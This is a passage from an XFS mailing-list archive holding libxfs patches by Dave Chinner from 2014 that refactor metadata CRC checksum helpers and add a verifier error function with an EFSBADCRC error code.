d245d72..4f29033 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -292,7 +292,7 @@ xfs_dinode_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) + XFS_DINODE_CRC_OFF)) return false; if (be64_to_cpu(dip->di_ino) != ino) return false; @@ -313,7 +313,7 @@ xfs_dinode_calc_crc( ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); + XFS_DINODE_CRC_OFF); dip->di_crc = xfs_end_cksum(crc); } diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 05bc860..bbcf886 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -566,7 +566,7 @@ xfs_sb_read_verify( dsb->sb_crc != 0)) { if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc))) { + XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { @@ -629,8 +629,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c index 539db0c..09ee9d4 100644 --- a/libxfs/xfs_symlink_remote.c +++ b/libxfs/xfs_symlink_remote.c @@ -117,7 +117,7 @@ xfs_symlink_read_verify( return; if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); @@ -145,8 +145,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EEA417F66 for ; Tue, 4 Mar 2014 02:52:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8EE3DAC002 for ; Tue, 4 Mar 2014 00:52:20 -0800 (PST) X-ASG-Debug-ID: 1393923136-04bdf05dac2395a0003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id u5o1YDYhCt0wpZ4d for ; Tue, 04 Mar 2014 00:52:19 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIuTFVN5LJYe/2dsb2JhbABQCoMGwxsXdIIlAQEFJy8zCBgxOQMbGYd4zC0XjXWFGwSjEIdXg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Hd-OQ for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006zj-NB for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/13] libxfs: add xfs_verifier_error() Date: Tue, 4 Mar 2014 19:51:54 +1100 X-ASG-Orig-Subj: [PATCH 10/13] libxfs: add xfs_verifier_error() Message-Id: <1393923117-9559-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923139 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] We want to distinguish between corruption, CRC errors, etc. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EBADMSG, bad message) Signed-off-by: Dave Chinner --- include/darwin.h | 1 + include/freebsd.h | 1 + include/gnukfreebsd.h | 1 + include/irix.h | 2 ++ include/linux.h | 1 + libxfs/util.c | 13 +++++++++++++ libxfs/xfs.h | 1 + 7 files changed, 20 insertions(+) diff --git a/include/darwin.h b/include/darwin.h index 97b8990..95f865b 100644 --- a/include/darwin.h +++ b/include/darwin.h @@ -150,6 +150,7 @@ typedef unsigned char uchar_t; #define ENOATTR 989 /* Attribute not found */ #define EFSCORRUPTED 990 /* Filesystem is corrupted */ +#define EFSBADCRC 991 /* Bad CRC detected */ #define constpp char * const * #define HAVE_FID 1 diff --git a/include/freebsd.h b/include/freebsd.h index 2e1ae49..b51688b 100644 --- a/include/freebsd.h +++ b/include/freebsd.h @@ -45,6 +45,7 @@ #define constpp char * const * #define EFSCORRUPTED 990 /* Filesystem is corrupted */ +#define EFSBADCRC 991 /* Bad CRC detected */ typedef off_t xfs_off_t; typedef off_t off64_t; diff --git a/include/gnukfreebsd.h b/include/gnukfreebsd.h index 1ec291f..2140acd 100644 --- a/include/gnukfreebsd.h +++ b/include/gnukfreebsd.h @@ -36,6 +36,7 @@ #define constpp char * const * #define EFSCORRUPTED 990 /* Filesystem is corrupted */ +#define EFSBADCRC 991 /* Bad CRC detected */ typedef off_t xfs_off_t; typedef __uint64_t xfs_ino_t; diff --git a/include/irix.h b/include/irix.h index a450684..5040451 100644 --- a/include/irix.h +++ b/include/irix.h @@ -52,6 +52,8 @@ typedef char* xfs_caddr_t; #define xfs_flock64 flock64 #define xfs_flock64_t struct flock64 +#define EFSBADCRC 991 /* Bad CRC detected */ + typedef struct xfs_error_injection { __int32_t fd; __int32_t errtag; diff --git a/include/linux.h b/include/linux.h index 502fd1f..5586290 100644 --- a/include/linux.h +++ b/include/linux.h @@ -136,6 +136,7 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) #define ENOATTR ENODATA /* Attribute not found */ #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ +#define EFSBADCRC EBADMSG /* Bad CRC detected */ typedef loff_t xfs_off_t; typedef __uint64_t xfs_ino_t; diff --git a/libxfs/util.c b/libxfs/util.c index 8109ab3..1b05540 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -730,3 +730,16 @@ cmn_err(int level, char *fmt, ...) fputs("\n", stderr); va_end(ap); } + +/* + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid + * values, and omit the stack trace unless the error level is tuned high. + */ +void +xfs_verifier_error( + struct xfs_buf *bp) +{ + xfs_alert(NULL, "Metadata %s detected at block 0x%llx/0x%x", + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", + bp->b_bn, BBTOB(bp->b_length)); +} diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 364fd83..5a21590 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -449,3 +449,4 @@ int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); void xfs_trans_mod_sb(xfs_trans_t *, uint, long); void xfs_trans_init(struct xfs_mount *); int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); +void xfs_verifier_error(struct xfs_buf *bp); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 354017F6B for ; Tue, 4 Mar 2014 02:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98558AC004 for ; Tue, 4 Mar 2014 00:52:20 -0800 (PST) X-ASG-Debug-ID: 1393923135-04cb6c567721b350003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id XadoHnSj8UdJbxPB for ; Tue, 04 Mar 2014 00:52:18 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReTEASjEIdXg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Hc-Nb for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006zd-Mp for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/13] libxfs: add helper for updating checksums on xfs_bufs Date: Tue, 4 Mar 2014 19:51:53 +1100 X-ASG-Orig-Subj: [PATCH 09/13] libxfs: add helper for updating checksums on xfs_bufs Message-Id: <1393923117-9559-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923138 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Many/most callers of xfs_update_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Dave Chinner --- include/libxfs.h | 7 +++++++ libxfs/xfs_alloc.c | 4 ++-- libxfs/xfs_attr_leaf.c | 2 +- libxfs/xfs_btree.c | 6 ++---- libxfs/xfs_da_btree.c | 2 +- libxfs/xfs_dir2_block.c | 2 +- libxfs/xfs_dir2_data.c | 2 +- libxfs/xfs_dir2_leaf.c | 2 +- libxfs/xfs_dir2_node.c | 2 +- libxfs/xfs_ialloc.c | 2 +- libxfs/xfs_sb.c | 2 +- libxfs/xfs_symlink_remote.c | 2 +- 12 files changed, 20 insertions(+), 15 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 610e7d5..7500903 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -786,6 +786,13 @@ xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) cksum_offset); } +static inline void +xfs_buf_update_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + #define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) #define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) #define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 2f6a241..dca612b 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -493,7 +493,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2249,7 +2249,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 0bd3169..90937d6 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -198,7 +198,7 @@ xfs_attr3_leaf_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_ATTR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF); } /* diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index fffed0a..9be4abd 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -218,8 +218,7 @@ xfs_btree_lblock_calc_crc( return; if (bip) block->bb_u.l.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); } bool @@ -251,8 +250,7 @@ xfs_btree_sblock_calc_crc( return; if (bip) block->bb_u.s.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); } bool diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index 4e8b41a..0c0c5e0 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -220,7 +220,7 @@ xfs_da3_node_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DA3_NODE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DA3_NODE_CRC_OFF); } /* diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 13561c3..3fe10ea 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -98,7 +98,7 @@ xfs_dir3_block_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_block_buf_ops = { diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 2a0de28..bcb4c7f 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -262,7 +262,7 @@ xfs_dir3_data_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_data_buf_ops = { diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 0fa147f..710f005 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -235,7 +235,7 @@ __write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_LEAF_CRC_OFF); } static void diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 78c77ed..f4260ea 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -126,7 +126,7 @@ xfs_dir3_free_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_FREE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_FREE_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_free_buf_ops = { diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 21683b5..b1382d6 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1583,7 +1583,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 43fdb59..db267c2 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -628,7 +628,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c index 716f8a3..b59bf14 100644 --- a/libxfs/xfs_symlink_remote.c +++ b/libxfs/xfs_symlink_remote.c @@ -144,7 +144,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BBFEA7F78 for ; Tue, 4 Mar 2014 02:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 889BD8F8065 for ; Tue, 4 Mar 2014 00:52:21 -0800 (PST) X-ASG-Debug-ID: 1393923133-04bdf05dac239590006-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id oy82aMImDiyG1ysT for ; Tue, 04 Mar 2014 00:52:19 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReTEASjEIdXg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Hb-NF for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006zM-MS for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/13] libxfs: add helper for verifying checksums on xfs_bufs Date: Tue, 4 Mar 2014 19:51:52 +1100 X-ASG-Orig-Subj: [PATCH 08/13] libxfs: add helper for verifying checksums on xfs_bufs Message-Id: <1393923117-9559-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923139 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Many/most callers of xfs_verify_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Dave Chinner --- include/libxfs.h | 7 +++++++ libxfs/xfs_alloc.c | 6 ++---- libxfs/xfs_attr_leaf.c | 3 +-- libxfs/xfs_btree.c | 8 ++++---- libxfs/xfs_da_btree.c | 3 +-- libxfs/xfs_dir2_block.c | 3 +-- libxfs/xfs_dir2_data.c | 3 +-- libxfs/xfs_dir2_leaf.c | 3 +-- libxfs/xfs_dir2_node.c | 3 +-- libxfs/xfs_ialloc.c | 4 ++-- libxfs/xfs_sb.c | 3 +-- libxfs/xfs_symlink_remote.c | 3 +-- 12 files changed, 23 insertions(+), 26 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index f688598..610e7d5 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -779,6 +779,13 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include +static inline int +xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + #define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) #define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) #define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 8a6725e..2f6a241 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -463,8 +463,7 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGFL_CRC_OFF); + agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -2220,8 +2219,7 @@ xfs_agf_read_verify( int agf_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGF_CRC_OFF); + agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index fd52397..0bd3169 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -214,8 +214,7 @@ xfs_attr3_leaf_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_ATTR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || !xfs_attr3_leaf_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 2dd6fb7..fffed0a 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -227,8 +227,8 @@ xfs_btree_lblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); + return true; } @@ -260,8 +260,8 @@ xfs_btree_sblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); + return true; } diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index 53414f5..4e8b41a 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -238,8 +238,7 @@ xfs_da3_node_read_verify( switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) break; /* fall through */ case XFS_DA_NODE_MAGIC: diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 1d8f598..13561c3 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -71,8 +71,7 @@ xfs_dir3_block_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_block_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 189699f..2a0de28 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -235,8 +235,7 @@ xfs_dir3_data_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_data_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, 